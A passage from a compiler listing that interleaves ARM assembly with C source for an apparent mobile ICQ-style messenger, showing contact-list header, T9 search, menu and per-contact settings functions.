R0,#+24 \ 000000B8 040000EA B ??new_redraw_4 2430 case 3: ICON_HD=ICON_INVISLIST_CANNOT_SEE; break; \ ??new_redraw_7: \ 000000BC 1900A0E3 MOV R0,#+25 \ 000000C0 020000EA B ??new_redraw_4 2431 case 4: ICON_HD=ICON_CONTACTLIST_CAN_SEE; break; \ ??new_redraw_8: \ 000000C4 1A00A0E3 MOV R0,#+26 \ 000000C8 000000EA B ??new_redraw_4 2432 default :ICON_HD=ICON_HEAD;break; \ ??new_redraw_2: \ 000000CC 1300A0E3 MOV R0,#+19 \ ??new_redraw_4: \ 000000D0 240384E5 STR R0,[R4, #+804] 2433 } 2434 int icon; 2435 icon=*(S_ICONS+ICON_HD); 2436 //((HEADER_DESC *)&contactlist_menuhdr)->rc.x2=1+(GetImgWidth(icon)); 2437 DrawImg(3,YDISP+3,icon); \ 000000D4 002194E7 LDR R2,[R4, +R0, LSL #+2] \ 000000D8 1B10A0E3 MOV R1,#+27 \ 000000DC 0300A0E3 MOV R0,#+3 \ 000000E0 230000EF SWI +35 2438 #endif 2439 } \ 000000E4 40D08DE2 ADD SP,SP,#+64 \ 000000E8 3080BDE8 POP {R4,R5,PC} ;; return \ ??new_redraw_1: \ 000000EC ........ DC32 `?` 2440 \ In segment CODE, align 4, keep-with-next 2441 void UpdateCLheader(void) 2442 { \ UpdateCLheader: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 2443 if (strlen(ContactT9Key)) \ 00000004 ........ LDR R5,??DataTable50 ;; S_ICONS \ 00000008 C8429FE5 LDR R4,??UpdateCLheader_1+0x14 ;; key_clmenu_sk_r \ 0000000C 0CD04DE2 SUB SP,SP,#+12 \ 00000010 E410A0E3 MOV R1,#+228 \ 00000014 901D81E3 ORR R1,R1,#0x2400 \ 00000018 051081E0 ADD R1,R1,R5 \ 0000001C 08108DE5 STR R1,[SP, #+8] \ 00000020 A400A0E3 MOV R0,#+164 \ 00000024 900D80E3 ORR R0,R0,#0x2400 \ 00000028 056080E0 ADD R6,R0,R5 \ 0000002C 600080E2 ADD R0,R0,#+96 \ 00000030 057080E0 ADD R7,R0,R5 \ 00000034 0880A0E3 MOV R8,#+8 \ 00000038 908E88E3 ORR R8,R8,#0x900 \ 0000003C 050088E0 ADD R0,R8,R5 \ 00000040 1B0000EF SWI +27 \ 00000044 000050E3 CMP R0,#+0 \ 00000048 0C00000A BEQ ??UpdateCLheader_2 2444 { 2445 zeromem(status,64); \ 0000004C 4010A0E3 MOV R1,#+64 \ 00000050 0700A0E1 MOV R0,R7 \ 00000054 1D0100EF SWI +285 2446 strcpy(clm_hdr_text,key_clm_hdr_text); \ 00000058 881084E2 ADD R1,R4,#+136 \ 0000005C 0600A0E1 MOV R0,R6 \ 00000060 1A0000EF SWI +26 2447 strcat(clm_hdr_text,ContactT9Key); \ 00000064 051088E0 ADD R1,R8,R5 \ 00000068 0600A0E1 MOV R0,R6 \ 0000006C 170000EF SWI +23 2448 strcpy(clmenu_sk_r,key_clmenu_sk_r); \ 00000070 08009DE5 LDR R0,[SP, #+8] \ 00000074 0410A0E1 MOV R1,R4 \ 00000078 1A0000EF SWI +26 \ 0000007C F78FBDE8 POP {R0-R2,R4-R11,PC} 2449 } \ ??UpdateCLheader_2: \ 00000080 3C0195E5 LDR R0,[R5, #+316] \ 00000084 8E8F8FE2 ADR R8,??UpdateCLheader_1 ;; "[S]" \ 00000088 8E9F8FE2 ADR R9,??UpdateCLheader_1+0x4 ;; "[V]" \ 0000008C 8EAF8FE2 ADR R10,??UpdateCLheader_1+0x8 ;; "[I]" \ 00000090 8EBF8FE2 ADR R11,??UpdateCLheader_1+0xC ;; "[A]" \ 00000094 040050E3 CMP R0,#+4 \ 00000098 8500008A BHI ??UpdateCLheader_3 \ 0000009C 011F8FE2 ADR R1,??UpdateCLheader_0 \ 000000A0 0010D1E7 LDRB R1,[R1, R0] \ 000000A4 01F18FE0 ADD PC,PC,R1, LSL #+2 \ ??UpdateCLheader_0: \ 000000A8 010D1319 DC8 +1,+13,+19,+25 \ 000000AC 43000000 DC8 +67,+0,+0,+0 2450 else 2451 { 2452 switch(TIME_OR_MSG) 2453 { 2454 case 0: 2455 { 2456 TTime the; 2457 GetDateTime(NULL,&the); \ ??UpdateCLheader_4: \ 000000B0 0D10A0E1 MOV R1,SP \ 000000B4 0000A0E3 MOV R0,#+0 \ 000000B8 B40000EF SWI +180 2458 sprintf(clm_hdr_text, "%s(%02d:%02d)",def_clm_hdr_text,the.hour,the.min); \ 000000BC 0100DDE5 LDRB R0,[SP, #+1] \ 000000C0 7C2084E2 ADD R2,R4,#+124 \ 000000C4 6C1084E2 ADD R1,R4,#+108 \ 000000C8 01002DE9 PUSH {R0} \ 000000CC 0430DDE5 LDRB R3,[SP, #+4] \ ??UpdateCLheader_5: \ 000000D0 0600A0E1 MOV R0,R6 \ 000000D4 160000EF SWI +22 \ 000000D8 04D08DE2 ADD SP,SP,#+4 \ 000000DC 740000EA B ??UpdateCLheader_3 2459 } 2460 break; 2461 case 1: 2462 sprintf(clm_hdr_text, "%s(%d/%d)",def_clm_hdr_text,total_unread,total_unread2); \ ??UpdateCLheader_6: \ 000000E0 600295E5 LDR R0,[R5, #+608] \ 000000E4 7C2084E2 ADD R2,R4,#+124 \ 000000E8 01002DE9 PUSH {R0} \ 000000EC 0C3395E5 LDR R3,[R5, #+780] \ 000000F0 601084E2 ADD R1,R4,#+96 \ 000000F4 F5FFFFEA B ??UpdateCLheader_5 2463 break; 2464 case 2: 2465 sprintf(clm_hdr_text, "%s(%d/%d)",def_clm_hdr_text,kopa_kontaktu,kopa_online); \ ??UpdateCLheader_7: \ 000000F8 2C0395E5 LDR R0,[R5, #+812] \ 000000FC 7C2084E2 ADD R2,R4,#+124 \ 00000100 01002DE9 PUSH {R0} \ 00000104 303395E5 LDR R3,[R5, #+816] \ 00000108 601084E2 ADD R1,R4,#+96 \ 0000010C EFFFFFEA B ??UpdateCLheader_5 2466 break; 2467 case 3: 2468 { 2469 void Get_Online_total(); 2470 Get_Online_total(); \ ??UpdateCLheader_8: \ 00000110 ........ BL Get_Online_total 2471 sprintf(clm_hdr_text, "[%d/%d] [%d/%d] ",kopa_kontaktu,kopa_online,total_unread,total_unread2); \ 00000114 600295E5 LDR R0,[R5, #+608] \ 00000118 4C1084E2 ADD R1,R4,#+76 \ 0000011C 01002DE9 PUSH {R0} \ 00000120 0C0395E5 LDR R0,[R5, #+780] \ 00000124 01002DE9 PUSH {R0} \ 00000128 2C3395E5 LDR R3,[R5, #+812] \ 0000012C 302395E5 LDR R2,[R5, #+816] \ 00000130 0600A0E1 MOV R0,R6 \ 00000134 160000EF SWI +22 2472 if(away_m) strcat(clm_hdr_text,"[A]"); \ 00000138 840295E5 LDR R0,[R5, #+644] \ 0000013C 08D08DE2 ADD SP,SP,#+8 \ 00000140 000050E3 CMP R0,#+0 \ 00000144 0200000A BEQ ??UpdateCLheader_9 \ 00000148 0B10A0E1 MOV R1,R11 \ 0000014C 0600A0E1 MOV R0,R6 \ 00000150 170000EF SWI +23 2473 if(CurrentPrivateStatus==1) strcat(clm_hdr_text,"[I]"); \ ??UpdateCLheader_9: \ 00000154 CC0295E5 LDR R0,[R5, #+716] \ 00000158 010050E3 CMP R0,#+1 \ 0000015C 0200001A BNE ??UpdateCLheader_10 \ 00000160 0A10A0E1 MOV R1,R10 \ 00000164 0600A0E1 MOV R0,R6 \ 00000168 170000EF SWI +23 2474 if(Is_Vibra_Enabled) strcat(clm_hdr_text,"[V]"); \ ??UpdateCLheader_10: \ 0000016C 700295E5 LDR R0,[R5, #+624] \ 00000170 000050E3 CMP R0,#+0 \ 00000174 0200000A BEQ ??UpdateCLheader_11 \ 00000178 0910A0E1 MOV R1,R9 \ 0000017C 0600A0E1 MOV R0,R6 \ 00000180 170000EF SWI +23 2475 if(Is_Sounds_Enabled) strcat(clm_hdr_text,"[S]"); \ ??UpdateCLheader_11: \ 00000184 BC0295E5 LDR R0,[R5, #+700] \ 00000188 000050E3 CMP R0,#+0 \ 0000018C 0200000A BEQ ??UpdateCLheader_12 \ 00000190 0810A0E1 MOV R1,R8 \ 00000194 0600A0E1 MOV R0,R6 \ 00000198 170000EF SWI +23 2476 if(Is_Double_Vibra_On) strcat(clm_hdr_text,"[R]"); \ ??UpdateCLheader_12: \ 0000019C 5C0295E5 LDR R0,[R5, #+604] \ 000001A0 000050E3 CMP R0,#+0 \ 000001A4 4200000A BEQ ??UpdateCLheader_3 \ 000001A8 491F8FE2 ADR R1,??UpdateCLheader_1+0x10 ;; "[R]" \ 000001AC 0600A0E1 MOV R0,R6 \ 000001B0 170000EF SWI +23 \ 000001B4 3E0000EA B ??UpdateCLheader_3 2477 } 2478 break; 2479 case 4: 2480 { 2481 void Get_Online_total(); 2482 Get_Online_total(); \ ??UpdateCLheader_13: \ 000001B8 ........ BL Get_Online_total 2483 TTime the; 2484 GetDateTime(NULL,&the); \ 000001BC 0D10A0E1 MOV R1,SP \ 000001C0 0000A0E3 MOV R0,#+0 \ 000001C4 B40000EF SWI +180 2485 #ifdef kluchnik 2486 unsigned long RX=ALLTOTALRECEIVED; unsigned long TX=ALLTOTALSENDED; //sendq_l \ 000001C8 F82295E5 LDR R2,[R5, #+760] \ 000001CC FC3295E5 LDR R3,[R5, #+764] 2487 sprintf(status, "[Rx:%db/Tx:%db/Queue:%db]\n[%02d:%02d] [%d/%d] [%d/%d] ",RX,TX,sendq_l, 2488 the.hour, the.min, 2489 kopa_kontaktu, kopa_online, 2490 total_unread,total_unread2); \ 000001D0 600295E5 LDR R0,[R5, #+608] \ 000001D4 141084E2 ADD R1,R4,#+20 \ 000001D8 01002DE9 PUSH {R0} \ 000001DC 0C0395E5 LDR R0,[R5, #+780] \ 000001E0 01002DE9 PUSH {R0} \ 000001E4 2C0395E5 LDR R0,[R5, #+812] \ 000001E8 01002DE9 PUSH {R0} \ 000001EC 300395E5 LDR R0,[R5, #+816] \ 000001F0 01002DE9 PUSH {R0} \ 000001F4 1100DDE5 LDRB R0,[SP, #+17] \ 000001F8 01002DE9 PUSH {R0} \ 000001FC 1400DDE5 LDRB R0,[SP, #+20] \ 00000200 01002DE9 PUSH {R0} \ 00000204 000395E5 LDR R0,[R5, #+768] \ 00000208 01002DE9 PUSH {R0} \ 0000020C 0700A0E1 MOV R0,R7 \ 00000210 160000EF SWI +22 2491 #else 2492 sprintf(status, "%s\n[%02d:%02d] [%d/%d] [%d/%d] ",def_clm_hdr_text, 2493 the.hour, the.min, 2494 kopa_kontaktu, kopa_online, 2495 total_unread,total_unread2); 2496 #endif 2497 if(away_m) strcat(status,"[A]"); \ 00000214 840295E5 LDR R0,[R5, #+644] \ 00000218 1CD08DE2 ADD SP,SP,#+28 \ 0000021C 000050E3 CMP R0,#+0 \ 00000220 0200000A BEQ ??UpdateCLheader_14 \ 00000224 0B10A0E1 MOV R1,R11 \ 00000228 0700A0E1 MOV R0,R7 \ 0000022C 170000EF SWI +23 2498 if(CurrentPrivateStatus==1) strcat(status,"[I]"); \ ??UpdateCLheader_14: \ 00000230 CC0295E5 LDR R0,[R5, #+716] \ 00000234 010050E3 CMP R0,#+1 \ 00000238 0200001A BNE ??UpdateCLheader_15 \ 0000023C 0A10A0E1 MOV R1,R10 \ 00000240 0700A0E1 MOV R0,R7 \ 00000244 170000EF SWI +23 2499 if(Is_Vibra_Enabled) strcat(status,"[V]"); \ ??UpdateCLheader_15: \ 00000248 700295E5 LDR R0,[R5, #+624] \ 0000024C 000050E3 CMP R0,#+0 \ 00000250 0200000A BEQ ??UpdateCLheader_16 \ 00000254 0910A0E1 MOV R1,R9 \ 00000258 0700A0E1 MOV R0,R7 \ 0000025C 170000EF SWI +23 2500 if(Is_Sounds_Enabled) strcat(status,"[S]"); \ ??UpdateCLheader_16: \ 00000260 BC0295E5 LDR R0,[R5, #+700] \ 00000264 000050E3 CMP R0,#+0 \ 00000268 0200000A BEQ ??UpdateCLheader_17 \ 0000026C 0810A0E1 MOV R1,R8 \ 00000270 0700A0E1 MOV R0,R7 \ 00000274 170000EF SWI +23 2501 if(Is_Double_Vibra_On) strcat(status,"[R]"); \ ??UpdateCLheader_17: \ 00000278 5C0295E5 LDR R0,[R5, #+604] \ 0000027C 000050E3 CMP R0,#+0 \ 00000280 0200000A BEQ ??UpdateCLheader_18 \ 00000284 121F8FE2 ADR R1,??UpdateCLheader_1+0x10 ;; "[R]" \ 00000288 0700A0E1 MOV R0,R7 \ 0000028C 170000EF SWI +23 2502 if(Show_XTX) strcat(status,"[Xs]"); \ ??UpdateCLheader_18: \ 00000290 900295E5 LDR R0,[R5, #+656] \ 00000294 000050E3 CMP R0,#+0 \ 00000298 0C108412 ADDNE R1,R4,#+12 2503 else strcat(status,"[Tm]"); \ 0000029C 04108402 ADDEQ R1,R4,#+4 \ 000002A0 0700A0E1 MOV R0,R7 \ 000002A4 170000EF SWI +23 2504 zeromem(clm_hdr_text,64); \ 000002A8 4010A0E3 MOV R1,#+64 \ 000002AC 0600A0E1 MOV R0,R6 \ 000002B0 1D0100EF SWI +285 2505 //DrawStatusBar(); 2506 } 2507 break; 2508 } 2509 strcpy(clmenu_sk_r,def_clmenu_sk_r); \ ??UpdateCLheader_3: \ 000002B4 08009DE5 LDR R0,[SP, #+8] \ 000002B8 941084E2 ADD R1,R4,#+148 \ 000002BC 1A0000EF SWI +26 2510 } 2511 } \ 000002C0 F78FBDE8 POP {R0-R2,R4-R11,PC} ;; return \ ??UpdateCLheader_1: \ 000002C4 5B535D00 DC8 "[S]" \ 000002C8 5B565D00 DC8 "[V]" \ 000002CC 5B495D00 DC8 "[I]" \ 000002D0 5B415D00 DC8 "[A]" \ 000002D4 5B525D00 DC8 "[R]" \ 000002D8 ........ DC32 key_clmenu_sk_r 2512 \ In segment CODE, align 4, keep-with-next 2513 void ClearContactT9Key(void) 2514 { 2515 zeromem(ContactT9Key,sizeof(ContactT9Key)); \ ClearContactT9Key: \ 00000000 0C009FE5 LDR R0,??ClearContactT9Key_0 ;; S_ICONS + 2312 \ 00000004 00402DE9 PUSH {LR} \ 00000008 2010A0E3 MOV R1,#+32 \ 0000000C 1D0100EF SWI +285 2516 } \ 00000010 0080BDE8 POP {PC} ;; return \ ??ClearContactT9Key_0: \ 00000014 ........ DC32 S_ICONS + 2312 2517 \ In segment CODE, align 4, keep-with-next 2518 void AddContactT9Key(int chr) 2519 { \ AddContactT9Key: \ 00000000 30402DE9 PUSH {R4,R5,LR} 2520 int l=strlen(ContactT9Key); \ 00000004 ........ LDR R5,??DataTable50 ;; S_ICONS \ 00000008 0040A0E1 MOV R4,R0 \ 0000000C 0800A0E3 MOV R0,#+8 \ 00000010 900E80E3 ORR R0,R0,#0x900 \ 00000014 050080E0 ADD R0,R0,R5 \ 00000018 1B0000EF SWI +27 2521 if (l<(sizeof(ContactT9Key)-1)) \ 0000001C 1F0050E3 CMP R0,#+31 2522 { 2523 ContactT9Key[l]=chr; \ 00000020 05008030 ADDCC R0,R0,R5 \ 00000024 0849C035 STRBCC R4,[R0, #+2312] 2524 } 2525 } \ 00000028 3080BDE8 POP {R4,R5,PC} ;; return 2526 \ In segment CODE, align 4, keep-with-next 2527 void BackSpaceContactT9(void) 2528 { \ BackSpaceContactT9: \ 00000000 10402DE9 PUSH {R4,LR} 2529 int l=strlen(ContactT9Key); \ 00000004 ........ LDR R4,??DataTable50 ;; S_ICONS \ 00000008 0800A0E3 MOV R0,#+8 \ 0000000C 900E80E3 ORR R0,R0,#0x900 \ 00000010 040080E0 ADD R0,R0,R4 \ 00000014 1B0000EF SWI +27 2530 if (l) \ 00000018 000050E3 CMP R0,#+0 2531 { 2532 l--; 2533 ContactT9Key[l]=0; \ 0000001C 04008010 ADDNE R0,R0,R4 \ 00000020 0010A013 MOVNE R1,#+0 \ 00000024 0719C015 STRBNE R1,[R0, #+2311] 2534 } 2535 } \ 00000028 1080BDE8 POP {R4,PC} ;; return 2536 \ In segment CODE, align 4, keep-with-next 2537 void create_contactlist_menu(void) 2538 { \ create_contactlist_menu: \ 00000000 70402DE9 PUSH {R4-R6,LR} 2539 2540 int i; 2541 i=CountContacts(); 2542 prev_clmenu_itemcount=i; \ 00000004 ........ LDR R5,??DataTable50 ;; S_ICONS 2543 UpdateCLheader(); 2544 patch_header(&contactlist_menuhdr); \ 00000008 38609FE5 LDR R6,??create_contactlist_menu_0 ;; contactlist_menuhdr \ 0000000C ........ _BLF CountContacts,??CountContacts??rA \ 00000010 0040A0E1 MOV R4,R0 \ 00000014 204385E5 STR R4,[R5, #+800] \ 00000018 ........ BL UpdateCLheader \ 0000001C 0600A0E1 MOV R0,R6 \ 00000020 ........ _BLF patch_header,??patch_header??rA 2545 #ifdef USE_MLMENU 2546 contactlist_menu_id=CreateMultiLinesMenu(0,0,&contactlist_menu,&contactlist_menuhdr,0,i); \ 00000024 10002DE9 PUSH {R4} \ 00000028 0000A0E3 MOV R0,#+0 \ 0000002C 01002DE9 PUSH {R0} \ 00000030 0630A0E1 MOV R3,R6 \ 00000034 142086E2 ADD R2,R6,#+20 \ 00000038 0010A0E3 MOV R1,#+0 \ 0000003C 170200EF SWI +535 \ 00000040 180385E5 STR R0,[R5, #+792] 2547 #else 2548 contactlist_menu_id=CreateMenu(0,0,&contactlist_menu,&contactlist_menuhdr,0,i,0,0); 2549 #endif 2550 } \ 00000044 7380BDE8 POP {R0,R1,R4-R6,PC} ;; return \ ??create_contactlist_menu_0: \ 00000048 ........ DC32 contactlist_menuhdr 2551 2552 2553 static int unhooked2=1; 2554 \ In segment CODE, align 4, keep-with-next 2555 void contactlist_menu_ghook(void *data, int cmd) 2556 { \ contactlist_menu_ghook: \ 00000000 F0432DE9 PUSH {R4-R9,LR} 2557 PNGTOP_DESC *pltop=PNG_TOP(); 2558 if (cmd==9) 2559 { 2560 pltop->dyn_pltop=NULL; 2561 } 2562 static int unhooked=1; 2563 if((((unhooked) || (unhooked2)) && (TIME_OR_MSG==4))) \ 00000004 ........ LDR R8,??DataTable50 ;; S_ICONS \ 00000008 0040A0E1 MOV R4,R0 \ 0000000C 0150A0E1 MOV R5,R1 \ 00000010 B98100EF SWI +33209 \ 00000014 0060A0E1 MOV R6,R0 \ 00000018 0070A0E3 MOV R7,#+0 \ 0000001C 090055E3 CMP R5,#+9 \ 00000020 08708605 STREQ R7,[R6, #+8] \ 00000024 9C0398E5 LDR R0,[R8, #+924] \ 00000028 000050E3 CMP R0,#+0 \ 0000002C 98039805 LDREQ R0,[R8, #+920] \ 00000030 00005003 CMPEQ R0,#+0 \ 00000034 1500000A BEQ ??contactlist_menu_ghook_0 \ 00000038 3C0198E5 LDR R0,[R8, #+316] \ 0000003C 040050E3 CMP R0,#+4 \ 00000040 1200001A BNE ??contactlist_menu_ghook_0 2564 { 2565 if(!(strlen(ContactT9Key))) \ 00000044 0800A0E3 MOV R0,#+8 \ 00000048 900E80E3 ORR R0,R0,#0x900 \ 0000004C 080080E0 ADD R0,R0,R8 \ 00000050 1B0000EF SWI +27 \ 00000054 000050E3 CMP R0,#+0 \ 00000058 0A00001A BNE ??contactlist_menu_ghook_1 2566 { 2567 GUI * gui=(GUI*)data; 2568 memcpy(&gui_methods2,gui->methods,nmeth*4); \ 0000005C 041094E5 LDR R1,[R4, #+4] \ 00000060 CD9FA0E3 MOV R9,#+820 \ 00000064 6020A0E3 MOV R2,#+96 \ 00000068 080089E0 ADD R0,R9,R8 \ 0000006C 1E0100EF SWI +286 2569 gui->methods=&gui_methods2; \ 00000070 080089E0 ADD R0,R9,R8 \ 00000074 040084E5 STR R0,[R4, #+4] 2570 old_redraw=gui_methods2[0]; \ 00000078 080099E7 LDR R0,[R9, +R8] \ 0000007C 940388E5 STR R0,[R8, #+916] 2571 gui_methods2[0]=(void*)&new_redraw; \ 00000080 28009FE5 LDR R0,??contactlist_menu_ghook_2 ;; new_redraw \ 00000084 080089E7 STR R0,[R9, +R8] 2572 } 2573 unhooked=0; \ ??contactlist_menu_ghook_1: \ 00000088 9C7388E5 STR R7,[R8, #+924] 2574 unhooked2=0; \ 0000008C 987388E5 STR R7,[R8, #+920] 2575 } 2576 2577 if (cmd==0x0A) \ ??contactlist_menu_ghook_0: \ 00000090 0A0055E3 CMP R5,#+10 \ 00000094 F083BD18 POPNE {R4-R9,PC} 2578 { 2579 silenthide=0; 2580 pltop->dyn_pltop=XStatusesImgList; \ 00000098 ........ LDR R0,??DataTable49 ;; XStatusesImgList \ 0000009C B47288E5 STR R7,[R8, #+692] \ 000000A0 000090E5 LDR R0,[R0, #+0] \ 000000A4 080086E5 STR R0,[R6, #+8] 2581 DisableIDLETMR(); \ 000000A8 7F0100EF SWI +383 2582 } 2583 2584 2585 } \ 000000AC F083BDE8 POP {R4-R9,PC} ;; return \ ??contactlist_menu_ghook_2: \ 000000B0 ........ DC32 new_redraw 2586 \ In segment CODE, align 4, keep-with-next 2587 void RecountMenu(CLIST *req, int needfocus) 2588 { \ RecountMenu: \ 00000000 F0402DE9 PUSH {R4-R7,LR} 2589 int i; 2590 int j; 2591 void *data; 2592 UpdateCLheader(); 2593 if (!contactlist_menu_id) return; //Нечего считать \ 00000004 ........ LDR R6,??DataTable50 ;; S_ICONS \ 00000008 0040A0E1 MOV R4,R0 \ 0000000C 0150A0E1 MOV R5,R1 \ 00000010 ........ BL UpdateCLheader \ 00000014 180396E5 LDR R0,[R6, #+792] \ 00000018 000050E3 CMP R0,#+0 \ 0000001C F080BD08 POPEQ {R4-R7,PC} 2594 data=FindGUIbyId(contactlist_menu_id,NULL); \ 00000020 180396E5 LDR R0,[R6, #+792] \ 00000024 0010A0E3 MOV R1,#+0 \ 00000028 090200EF SWI +521 \ 0000002C 0070A0E1 MOV R7,R0 2595 if (req==NULL) \ 00000030 000054E3 CMP R4,#+0 \ 00000034 0200000A BEQ ??RecountMenu_0 2596 { 2597 j=0; 2598 } 2599 else 2600 { 2601 j=FindContactByContact(req); \ 00000038 0400A0E1 MOV R0,R4 \ 0000003C ........ _BLF FindContactByContact,??FindContactByContact??rA \ 00000040 0040A0E1 MOV R4,R0 2602 } 2603 i=CountContacts(); \ ??RecountMenu_0: \ 00000044 ........ _BLF CountContacts,??CountContacts??rA 2604 if (j>=i) j=i-1; 2605 if (j<0) j=0; 2606 if (i!=prev_clmenu_itemcount) \ 00000048 201396E5 LDR R1,[R6, #+800] \ 0000004C 000054E1 CMP R4,R0 \ 00000050 014040A2 SUBGE R4,R0,#+1 \ 00000054 000054E3 CMP R4,#+0 \ 00000058 0040A043 MOVMI R4,#+0 \ 0000005C 010050E1 CMP R0,R1 \ 00000060 0300000A BEQ ??RecountMenu_1 2607 { 2608 prev_clmenu_itemcount=i; \ 00000064 200386E5 STR R0,[R6, #+800] 2609 Menu_SetItemCountDyn(data,i); \ 00000068 0010A0E1 MOV R1,R0 \ 0000006C 0700A0E1 MOV R0,R7 \ 00000070 E60100EF SWI +486 2610 } 2611 if(needfocus) SetCursorToMenuItem(data,j); //2058 \ ??RecountMenu_1: \ 00000074 000055E3 CMP R5,#+0 \ 00000078 0200000A BEQ ??RecountMenu_2 \ 0000007C 0410A0E1 MOV R1,R4 \ 00000080 0700A0E1 MOV R0,R7 \ 00000084 C40100EF SWI +452 2612 if (IsGuiOnTop(contactlist_menu_id)) RefreshGUI(); \ ??RecountMenu_2: \ 00000088 180396E5 LDR R0,[R6, #+792] \ 0000008C 350100EF SWI +309 \ 00000090 000050E3 CMP R0,#+0 \ 00000094 F080BD08 POPEQ {R4-R7,PC} \ 00000098 960100EF SWI +406 \ 0000009C F080BDE8 POP {R4-R7,PC} ;; return 2613 } 2614 2615 2616 //-------------------- MANAGE CONTACT MENU --------------------------// 2617 2618 2619 #ifdef kluchnik 2620 #define _MAX 5 2621 #else 2622 #define _MAX 4 2623 #endif 2624 2625 static int uinContact; 2626 \ In segment CODE, align 4, keep-with-next 2627 static void ChangeVibraContact(GUI *data) 2628 { 2629 CLIST *t; 2630 t=FindContactByUin(uinContact); \ ChangeVibraContact: \ 00000000 ........ LDR R0,??DataTable55 ;; icon_array + 8 \ 00000004 00402DE9 PUSH {LR} \ 00000008 000090E5 LDR R0,[R0, #+0] \ 0000000C ........ _BLF FindContactByUin,??FindContactByUin??rA 2631 t->isvibra=!(t->isvibra); \ 00000010 5C1090E5 LDR R1,[R0, #+92] \ 00000014 000051E3 CMP R1,#+0 \ 00000018 0110A003 MOVEQ R1,#+1 \ 0000001C 0010A013 MOVNE R1,#+0 \ 00000020 5C1080E5 STR R1,[R0, #+92] 2632 RefreshGUI(); \ 00000024 960100EF SWI +406 2633 } \ 00000028 0080BDE8 POP {PC} ;; return 2634 \ In segment CODE, align 4, keep-with-next 2635 static void ChangeSoundContact(GUI *data) 2636 { 2637 CLIST *t; 2638 t=FindContactByUin(uinContact); \ ChangeSoundContact: \ 00000000 ........ LDR R0,??DataTable55 ;; icon_array + 8 \ 00000004 00402DE9 PUSH {LR} \ 00000008 000090E5 LDR R0,[R0, #+0] \ 0000000C ........ _BLF FindContactByUin,??FindContactByUin??rA 2639 t->issound=!(t->issound); \ 00000010 601090E5 LDR R1,[R0, #+96] \ 00000014 000051E3 CMP R1,#+0 \ 00000018 0110A003 MOVEQ R1,#+1 \ 0000001C 0010A013 MOVNE R1,#+0 \ 00000020 601080E5 STR R1,[R0, #+96] 2640 RefreshGUI(); \ 00000024 960100EF SWI +406 2641 } \ 00000028 0080BDE8 POP {PC} ;; return 2642 \ In segment CODE, align 4, keep-with-next 2643 static void ChangeAutoMsg(GUI *data) 2644 { 2645 CLIST *t; 2646 t=FindContactByUin(uinContact); \ ChangeAutoMsg: \ 00000000 ........ LDR R0,??DataTable55 ;; icon_array + 8 \ 00000004 00402DE9 PUSH {LR} \ 00000008 000090E5 LDR R0,[R0, #+0] \ 0000000C ........ _BLF FindContactByUin,??FindContactByUin??rA 2647 t->isautomsg=!(t->isautomsg); \ 00000010 641090E5 LDR R1,[R0, #+100] \ 00000014 000051E3 CMP R1,#+0 \ 00000018 0110A003 MOVEQ R1,#+1 \ 0000001C 0010A013 MOVNE R1,#+0 \ 00000020 641080E5 STR R1,[R0, #+100] 2648 RefreshGUI(); \ 00000024 960100EF SWI +406 2649 } \ 00000028 0080BDE8 POP {PC} ;; return 2650 \ In segment CODE, align 4, keep-with-next 2651 static void ChangeShowXstatus(GUI *data) 2652 { 2653 CLIST *t; 2654 t=FindContactByUin(uinContact); \ ChangeShowXstatus: \ 00000000 ........ LDR R0,??DataTable55 ;; icon_array + 8 \ 00000004 00402DE9 PUSH {LR} \ 00000008 000090E5 LDR R0,[R0, #+0] \ 0000000C ........ _BLF FindContactByUin,??FindContactByUin??rA 2655 t->isShowXst=!(t->isShowXst); \ 00000010 701090E5 LDR R1,[R0, #+112] \ 00000014 000051E3 CMP R1,#+0 \ 00000018 0110A003 MOVEQ R1,#+1 \ 0000001C 0010A013 MOVNE R1,#+0 \ 00000020 701080E5 STR R1,[R0, #+112] 2656 RefreshGUI(); \ 00000024 960100EF SWI +406 2657 } \ 00000028 0080BDE8 POP {PC} ;; return 2658 2659 #ifdef kluchnik \ In segment CODE, align 4, keep-with-next 2660 static void ChangeAutobot(GUI *data) 2661 { 2662 CLIST *t; 2663 t=FindContactByUin(uinContact); \ ChangeAutobot: \ 00000000 ........ LDR R0,??DataTable55 ;; icon_array + 8 \ 00000004 00402DE9 PUSH {LR} \ 00000008 000090E5 LDR R0,[R0, #+0] \ 0000000C ........ _BLF FindContactByUin,??FindContactByUin??rA 2664 t->isautobot=!(t->isautobot); \ 00000010 681090E5 LDR R1,[R0, #+104] \ 00000014 000051E3 CMP R1,#+0 \ 00000018 0110A003 MOVEQ R1,#+1 \ 0000001C 0010A013 MOVNE R1,#+0 \ 00000020 681080E5 STR R1,[R0, #+104] 2665 RefreshGUI(); \ 00000024 960100EF SWI +406 2666 } \ 00000028 0080BDE8 POP {PC} ;; return 2667 #endif 2668 /* 2669 static void RqtXText(GUI *data) 2670 { 2671 void RequestXText(unsigned int uin); 2672 RequestXText(uinContact); 2673 GeneralFuncF1(1); 2674 } 2675 */ \ In segment CODE, align 4, keep-with-next 2676 static void contact_list_ghook(void *data, int cmd) 2677 { \ contact_list_ghook: \ 00000000 00402DE9 PUSH {LR} 2678 if (cmd==0x0A) \ 00000004 0A0051E3 CMP R1,#+10 \ 00000008 0080BD18 POPNE {PC} 2679 { 2680 DisableIDLETMR(); \ 0000000C 7F0100EF SWI +383 2681 } 2682 } \ 00000010 0080BDE8 POP {PC} ;; return 2683 static int icon_array[2]; 2684 2685 static const void *menuproc[_MAX]= 2686 { 2687 (void *)ChangeVibraContact, 2688 (void *)ChangeSoundContact, 2689 (void *)ChangeAutoMsg, 2690 (void *)ChangeShowXstatus, 2691 #ifdef kluchnik 2692 (void *)ChangeAutobot 2693 #endif 2694 }; 2695 2696 static const char * const menutext[_MAX]= 2697 { 2698 "Вибра", 2699 "Звук", 2700 "Автоответчик", 2701 "Показ.хстатус", 2702 #ifdef kluchnik 2703 "Aвтобот" 2704 #endif 2705 }; 2706 \ In segment CODE, align 4, keep-with-next 2707 static int contact_keyhook(void *data, GUI_MSG *msg) 2708 { \ contact_keyhook: \ 00000000 00402DE9 PUSH {LR} 2709 if ((msg->keys==0x18)||(msg->keys==0x3D)) \ 00000004 F210D1E1 LDRSH R1,[R1, #+2] \ 00000008 180051E3 CMP R1,#+24 \ 0000000C 3D005113 CMPNE R1,#+61 \ 00000010 0300001A BNE ??contact_keyhook_0 2710 { 2711 ((void (*)(void))(menuproc[GetCurMenuItem(data)]))(); \ 00000014 8F0100EF SWI +399 \ 00000018 0C109FE5 LDR R1,??contact_keyhook_1 ;; menuproc \ 0000001C 000191E7 LDR R0,[R1, 